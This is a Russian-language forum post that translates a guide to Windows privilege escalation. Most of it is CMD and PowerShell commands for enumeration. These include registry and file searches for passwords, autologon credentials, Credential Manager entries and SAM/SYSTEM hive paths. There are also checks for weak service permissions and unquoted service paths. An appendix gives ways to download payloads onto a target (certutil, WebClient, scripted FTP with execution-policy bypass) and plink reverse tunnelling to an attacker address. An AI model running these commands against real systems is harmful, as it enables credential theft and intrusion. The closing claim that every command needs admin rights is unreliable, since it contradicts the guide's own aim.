Инструкция по тестированию машин под управление Windows

  • Автор темы isilasi
  • Дата начала
  • Просмотров 3412 Просмотров

isilasi

Участник
64
22
25 Фев 2019
Инструкция по тестированию машин под управление Windows.

Введение
Расширение привилегий практически всегда сводится к правильному подсчету. Но для того чтобы выполнить правильный подсчет вам необходимо знать, что нужно искать и проверять. Это предполагает знакомство с различными системами и понимание принципа их работы, которое, как правило, приходит с опытом. Вначале может показаться довольно таки сложной задачей, но через некоторое время вы понемногу начинаете понимать, что является нормальным, а что нет. В конце концов, становится легче понимать, что необходимо найти, и это, безусловно, намного лучше, чем хаотично копаться абсолютно во всем, что вы видите в надежде найти эту проклятую иголку в стоге сена. Надеемся, что это руководство послужит хорошей опорой и основой для вашего дальнейшего развития и начала работы.

Данное руководство опирается на Для просмотра ссылки Войди или Зарегистрируйся (Основное расширение привилегий Linux от g0tm1lk), с которым вы, возможно уже ознакомились, а возможно даже и использовали. Я попытался создать аналогичное руководство, только для Windows. Таким образом, это руководство будет в основном сосредоточено на аспекте подсчета (enumeration).
Примечание: я не являюсь экспертом в этой области и все еще продолжаю обучаться.

Структура руководства

В каждом разделе я сначала предоставлю вам старые добрые CMD команды, а затем также укажу их эквиваленты в Powershell. Всегда намного лучше знать, как пользоваться несколькими инструментами, к тому же Powershell является более универсальным для написание скрипта, чем традиционный CMD. Тем не менее, не существует эквивалентов в Powershell абсолютно для всего (или же CMD все еще остается более простым/лучшим для некоторых вещей), так что некоторые разделы будут содержать только стандартные CMD команды.

Операционная система
Что за операционная система, и какая у нее архитектура? Установлены ли на ней все необходимые патчи?

Код:
systeminfo
wmic qfe

Есть ли что-то интересное в переменных среды? Контроллер домена в LOGONSERVER?


Код:
set
Код:
Get-ChildItem Env: | ft Key,Value

Есть ли другие подключенные приводы?

Код:
net use
wmic logicaldisk get caption,description,providername
Код:
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Пользователи

Кто вы такой?


Код:
whoami
echo %USERNAME%
Код:
$env:UserName

Есть ли какие-либо интересные пользовательские привилегии?

Примечание: графа The State не подразумевает, что пользователь имеет или не имеет доступа к данной привилегии. Если привилегия указана, значит, пользователь обладает ею.

Код:
whoami /priv

Какие пользователи находятся в системе? Возможно, есть какие-либо старые профили пользователей, которые не были удалены?

Код:
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Код:
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

Кто-нибудь еще вошел в систему?

Код:
qwinsta

Какие группы находятся в системе?

Код:
net localgroup
Код:
Get-LocalGroup | ft Name

Состоит ли кто-нибудь из пользователей в администраторской группе?


Код:
net localgroup Administrators
Код:
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Есть ли что-нибудь в реестре для пользовательского автовхода?


Код:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Код:
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

Возможно есть что-нибудь интересное в Credential Manager?

Код:
cmdkey /list

Можем ли мы получить доступ к файлам SAM и SYSTEM?


Код:
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"


%SYSTEMROOT%\System32\config\RegBack\system

Программы, Процессы, и Службы

Какое программное обеспечение установлено?


Код:
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Код:
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Есть ли неполные права доступа к папке или файлу?

Есть ли полные права доступа для всех пользователей к Program Folders?



Код:
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

Изменить права доступа к Program Folders для всех пользователей?

Код:
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Код:
Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Вы также можете закачать accesschk из Sysinternals для того, чтобы проверить файлы и папки, доступные для записи.


Код:
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *

Какие процессы или службы сейчас работают в системе? Есть ли скрытая внутренняя служба? Если да, можем ли мы ее открыть? См. «Переадресация портов» в приложении.


Код:
tasklist /svc
tasklist /v
net start
sc query
Get-Process имеет опцию -IncludeUserName, которая позволяет увидеть владельца процесса, однако, для её выполнения вы должны обладать правами администратора.


Код:
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
Эта одна строка возвращает владельца процесса без всяких прав администратора, если же под владельцем есть, что-то пустое, оно возможно запущено как СИСТЕМА (SYSTEM), СЕТЕВАЯ СЛУЖБА (NETWORK SERVICE) или ЛОКАЛЬНАЯ СЛУЖБА (LOCAL SERVICE).

Код:
Get-WmiObject -Query "Select * from Win32_Process" | where {$.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$.GetOwner().User}} | ft -AutoSize

Есть ли какие-нибудь слабые права доступа службы? Можем ли мы перенастроить что-либо? И снова, загрузите accesschk.


Код:
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *

Существуют ли какие-нибудь unquoted service paths?

Код:
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
Код:
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows" -and $_.PathName -notlike '"'} | select PathName,DisplayName,Name

Какие назначенные задания существуют? Реализовано ли что-то пользовательское?

Код:
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Код:
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Что запускается при старте?


Код:
wmic startup get caption,command

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"

dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"


Код:
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'

Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'

Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'

Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"

Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"


Включен ли AlwaysInstallElevated? Я не сталкивался с этим, но проверить это не мешает.


Код:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Работа с сетью

Какие NICs подключены? Существуют ли несколько сетей?


Код:
ipconfig /all

Код:
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Какие маршруты мы имеем?


Код:
route print

Код:
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Есть ли что-нибудь в ARP кэше?

Код:
arp -a

Код:
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Есть ли подключения к другим хостам?

Код:
netstat -ano

Есть ли что-нибудь в файле hosts?

Код:
C:\WINDOWS\System32\drivers\etc\hosts

Включен ли брандмауэр? Если да, то каким образом он настроен?

Код:
netsh firewall show state

netsh firewall show config

netsh advfirewall firewall show rule name=all

netsh advfirewall export "firewall.txt"

Есть ли еще какие-нибудь другие интересные конфигурации интерфейса?

Код:
netsh dump

Есть ли какие-либо SNMP конфигурации?

Код:
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Код:
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Интересные файлы и важная информация

Этот раздел может быть довольно обширным, поэтому вы можете выводить команды в txt-файлы для просмотра и анализа, как вам это будет удобно.


Возможно есть какие-либо пароли в реестре?


Код:
reg query HKCU /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s

Есть ли доступные файлы sysprep или unattend, которые не были убраны?


Код:
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Код:
Get-Childitem –Path C:\ -Include unattend,sysprep -File -Recurse -ErrorAction SilentlyContinue | where {($.Name -like ".xml" -or $.Name -like ".txt" -or $_.Name -like "*.ini")}

Если сервер является IIS вебсервером, что тогда в inetpub? Есть ли скрытые директории? Есть ли web.config файлы?

Код:
dir /a C:\inetpub\

dir /s web.config

C:\Windows\System32\inetsrv\config\applicationHost.config

Код:
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Что находится в журналах IIS?


Код:
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log

C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log

C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log

C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

Установлены ли XAMPP, Apache, или PHP? Есть ли файлы конфигурации XAMPP, Apache, или PHP?


Код:
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Код:
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Есть ли какие-нибудь веб журналы Apache?


Код:
dir /s access.log error.log

Код:
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Есть ли какие-нибудь интересные файлы для просмотра? Возможно внутри пользовательской директории User (рабочий стол, документы, и т.д.)?


Код:
dir /s pass == vnc == .config 2>nul

Код:
Get-Childitem –Path C:\Users\ -Include password,vnc,*.config -File -Recurse -ErrorAction SilentlyContinue

Есть ли файлы, которые содержат пароли?


Код:
findstr /si password *.xml *.ini *.txt *.config 2>nul

Код:
Get-ChildItem C:\* -include .xml,.ini,.txt,.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

Приложение


Скрипт подсчета

Я создал Powershell скрипт, который практически полностью автоматизирует все вышеуказанные процедуры. Вы можете найти его Для просмотра ссылки Войди или Зарегистрируйся.


Передача файлов

В какой-то момент во время процесса расширения привилегий, вам нужно будет получить файлы на вашу целевую систему. Ниже приведены несколько простых способов сделать это.


Powershell Cmdlet (Powershell 3.0 и выше)


Код:
Invoke-WebRequest "Для просмотра ссылки Войди или Зарегистрируйся" -OutFile "C:\Windows\Temp\filename"

Powershell однострочник


Код:
(New-Object System.Net.WebClient).DownloadFile("Для просмотра ссылки Войди или Зарегистрируйся", "C:\Windows\Temp\filename")

Powershell Script


Код:
echo $webclient = New-Object System.Net.WebClient >>wget.ps1

echo $url = "Для просмотра ссылки Войди или Зарегистрируйся" >>wget.ps1

echo $file = "output-file.exe" >>wget.ps1

echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1


Неинтерактивный FTP через текстовый файл. Очень полезно в тех случаях, когда у вас ограниченное выполнение команд.


Код:
echo open 10.10.10.11 21> ftp.txt

echo USER username>> ftp.txt

echo mypassword>> ftp.txt

echo bin>> ftp.txt

echo GET filename>> ftp.txt

echo bye>> ftp.txt

ftp -v -n -s:ftp.txt

CertUtil

Код:
certutil.exe -urlcache -split -f Для просмотра ссылки Войди или Зарегистрируйся outputfilename

Перенаправление портов

Это полезно для отображения внутренних служб, которые недоступны вне самой машины, обычно из-за настроек брандмауэра.


Загрузите plink.exe на целевую систему.


Запустите SSH на вашей атакующей машине.


Например, для того чтобы отобразить SMB, на целевой машине запустите:


Код:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

Примечание: Начиная с обновления Fall Creators для Windows 10, OpenSSH был представлен в бета-версии для Windows, поэтому я ожидаю, что в один прекрасный день мы сможем использовать только обычные старые SSH-команды для переадресации портов, в зависимости от того, включен ли OpenSSH.


Список локальных файлов

Это не исчерпывающий список, каталоги установки будут регулярно меняться, я лишь перечислил самые основные.


Код:
C:\Apache\conf\httpd.conf

C:\Apache\logs\access.log

C:\Apache\logs\error.log

C:\Apache2\conf\httpd.conf

C:\Apache2\logs\access.log

C:\Apache2\logs\error.log

C:\Apache22\conf\httpd.conf

C:\Apache22\logs\access.log

C:\Apache22\logs\error.log

C:\Apache24\conf\httpd.conf

C:\Apache24\logs\access.log

C:\Apache24\logs\error.log

C:\Documents and Settings\Administrator\NTUser.dat

C:\php\php.ini

C:\php4\php.ini

C:\php5\php.ini

C:\php7\php.ini

C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf

C:\Program Files (x86)\Apache Group\Apache\logs\access.log

C:\Program Files (x86)\Apache Group\Apache\logs\error.log

C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf

C:\Program Files (x86)\Apache Group\Apache2\logs\access.log

C:\Program Files (x86)\Apache Group\Apache2\logs\error.log

c:\Program Files (x86)\php\php.ini"

C:\Program Files\Apache Group\Apache\conf\httpd.conf

C:\Program Files\Apache Group\Apache\conf\logs\access.log

C:\Program Files\Apache Group\Apache\conf\logs\error.log

C:\Program Files\Apache Group\Apache2\conf\httpd.conf

C:\Program Files\Apache Group\Apache2\conf\logs\access.log

C:\Program Files\Apache Group\Apache2\conf\logs\error.log

C:\Program Files\FileZilla Server\FileZilla Server.xml

C:\Program Files\MySQL\my.cnf

C:\Program Files\MySQL\my.ini

C:\Program Files\MySQL\MySQL Server 5.0\my.cnf

C:\Program Files\MySQL\MySQL Server 5.0\my.ini

C:\Program Files\MySQL\MySQL Server 5.1\my.cnf

C:\Program Files\MySQL\MySQL Server 5.1\my.ini

C:\Program Files\MySQL\MySQL Server 5.5\my.cnf

C:\Program Files\MySQL\MySQL Server 5.5\my.ini

C:\Program Files\MySQL\MySQL Server 5.6\my.cnf

C:\Program Files\MySQL\MySQL Server 5.6\my.ini

C:\Program Files\MySQL\MySQL Server 5.7\my.cnf

C:\Program Files\MySQL\MySQL Server 5.7\my.ini

C:\Program Files\php\php.ini

C:\Users\Administrator\NTUser.dat

C:\Windows\debug\NetSetup.LOG

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattended.xml

C:\Windows\php.ini

C:\Windows\repair\SAM

C:\Windows\repair\system

C:\Windows\System32\config\AppEvent.evt

C:\Windows\System32\config\RegBack\SAM

C:\Windows\System32\config\RegBack\system

C:\Windows\System32\config\SAM

C:\Windows\System32\config\SecEvent.evt

C:\Windows\System32\config\SysEvent.evt

C:\Windows\System32\config\SYSTEM

C:\Windows\System32\drivers\etc\hosts

C:\Windows\System32\winevt\Logs\Application.evtx

C:\Windows\System32\winevt\Logs\Security.evtx

C:\Windows\System32\winevt\Logs\System.evtx

C:\Windows\win.ini

C:\xampp\apache\conf\extra\httpd-xampp.conf

C:\xampp\apache\conf\httpd.conf

C:\xampp\apache\logs\access.log

C:\xampp\apache\logs\error.log

C:\xampp\FileZillaFTP\FileZilla Server.xml

C:\xampp\MercuryMail\MERCURY.INI

C:\xampp\mysql\bin\my.ini

C:\xampp\php\php.ini

C:\xampp\security\webdav.htpasswd

C:\xampp\sendmail\sendmail.ini

C:\xampp\tomcat\conf\server.xml


Источник: Для просмотра ссылки Войди или Зарегистрируйся

Все команды, описанные в статье можно запустить только находясь внутри системы с правами администратора.
Больше прав можно получить только обладая правами системы.